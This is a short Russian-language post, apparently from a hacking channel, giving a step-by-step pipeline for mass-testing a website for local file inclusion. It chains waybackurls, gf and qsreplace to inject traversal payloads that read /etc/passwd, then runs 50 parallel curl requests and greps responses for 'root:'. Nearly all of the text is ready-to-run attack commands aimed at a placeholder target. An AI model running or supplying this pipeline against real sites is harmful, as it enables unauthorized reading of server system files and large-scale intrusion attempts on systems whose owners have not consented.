​​📂 Быстрая проверка сайта на простой LFI



Находим список слов для вывода /etc/passwd и помещаем в файл payloads.txt.



Затем, с помощью waybackurls получаем конечные точки нашего сайта и выбираем наиболее подходящие для LFI с помощью gf:



echo target.com | waybackurls | gf lfi | anew -q lfi.txt



Создаём список конечных точек с полезной нагрузкой в качестве параметра с помощью qsreplace:



cat payloads.txt | while read -r line; do cat lfi.txt | qsreplace "$line" | anew -q lfipatterns.txt; done



Запускаем команду для проверки ответа сервера на наличие LFI:



cat lfipatterns.txt | xargs -P 50 -I@ bash -c "curl -s -L @ | grep \"root:\" && echo -e \"[VULNERABLE] - @ \n \"" | grep "VULNERABLE"



#web #lfi